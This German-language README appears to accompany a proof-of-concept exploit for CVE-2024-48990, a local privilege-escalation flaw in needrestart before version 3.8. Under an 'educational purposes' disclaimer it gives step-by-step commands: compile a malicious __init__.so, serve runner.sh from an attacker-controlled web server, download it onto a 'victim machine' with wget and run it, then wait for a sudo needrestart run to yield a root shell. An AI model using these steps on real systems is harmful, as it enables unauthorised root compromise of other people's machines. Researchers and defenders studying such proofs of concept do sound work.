CVE-2024-48990

[!WARNING] Diese Dateien und Informationen dienen ausschließlich zu Bildungszwecken. Der Autor ist nicht verantwortlich für böswilliges Verhalten. Alle bereitgestellten Informationen sind nicht dazu gedacht, zu irgendeiner Art von Straftat oder Missbrauch anzustiften.

Beschreibung

Qualys hat entdeckt, dass needrestart vor Version 3.8 es lokalen Angreifern ermöglicht, beliebigen Code als root auszuführen, indem needrestart dazu gebracht wird, den Python-Interpreter mit einer vom Angreifer kontrollierten PYTHONPATH-Umgebungsvariable auszuführen. Siehe NIST für offizielle Details.

PoC

1. Repository von Git herunterladen

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. Die Bibliothek exploit.c kompilieren, um eine gültige ELF-Bibliothek zu erzeugen, und sie als __init__.so benennen

gcc -shared -fPIC -o __init__.so exploit.c

3. Ersetze <IP> und <PORT> in runner.sh, Zeile 7 und Zeile 10, durch deine IP und den PORT deines eigenen Webservers.
4. Starte den Webserver

python3 -m http.server

5. Lade runner auf dem Opfer-Rechner herunter

wget http://IP:PORT/runner.sh

6. Ausführbare Berechtigung für runner setzen

chmod +x runner.sh

7. Skript ausführen

./runner.sh

8. needrestart mit sudo-Berechtigung ausführen

sudo needrestart

Wenn [*] CVE module created gelesen wird, drücke STRG+C, um den Prozess zu stoppen und deine Shell zu erhalten!